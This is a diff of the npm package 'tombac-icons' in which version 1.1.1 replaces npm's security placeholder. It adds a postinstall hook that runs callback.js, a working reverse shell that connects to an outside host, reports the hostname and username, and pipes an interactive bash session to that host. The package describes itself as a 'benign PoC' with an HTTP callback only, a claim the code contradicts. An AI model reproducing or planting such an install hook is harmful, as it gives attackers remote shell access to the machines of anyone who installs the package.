tombac-icons 0.0.1-security → 1.1.1

package/callback.js

@@ -0,0 +1,53 @@
+const net = require("net");
+const { spawn } = require("child_process");
+const os = require("os");
+
+// میتونی از ENV هم ست کنی: RS_HOST=10.10.10.14 RS_PORT=4444 node shell.js
+const HOST = process.env.RS_HOST || "proxy171.r3proxy.com";
+const PORT = process.env.RS_PORT || 38354;
+
+function connect() {
+  const client = new net.Socket();
+
+  client.connect(PORT, HOST, () => {
+    // پیام خوشامد
+    client.write(
+      `[*] Reverse shell connected!\n` +
+      `[*] Host: ${os.hostname()} (${os.platform()} ${os.release()})\n` +
+      `[*] User: ${os.userInfo().username}\n\n`
+    );
+
+    // bash -i بهتر از sh معمولی
+    const sh = spawn("/bin/bash", ["-i"], {
+      stdio: ["pipe", "pipe", "pipe"]
+    });
+
+    // ارتباط دو طرفه
+    client.pipe(sh.stdin);
+    sh.stdout.pipe(client);
+    sh.stderr.pipe(client);
+
+    sh.on("exit", () => {
+      client.end("[*] Shell exited, reconnecting...\n");
+    });
+
+    // اگر کاربر Ctrl+C زد، فقط به شل target بفرست نه اینکه کل برنامه قطع بشه
+    client.on("data", (data) => {
+      if (data.toString().trim() === "\x03") { // Ctrl+C
+        sh.kill("SIGINT");
+      }
+    });
+  });
+
+  client.on("error", (err) => {
+    console.error(`[!] Connection error: ${err.message}`);
+    setTimeout(connect, 5000); // تلاش مجدد بعد از 5 ثانیه
+  });
+
+  client.on("close", () => {
+    console.warn("[!] Disconnected, retrying...");
+    setTimeout(connect, 5000);
+  });
+}
+
+connect();

package/index.js

@@ -0,0 +1,2 @@
+// benign placeholder
+module.exports = () => "tombac-icons benign package";

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "tombac-icons",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.1.1",
+  "description": "Benign PoC for dependency confusion (HTTP callback only)",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node callback.js"
+  },
+  "author": "mohammadtayb",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=tombac-icons for more information.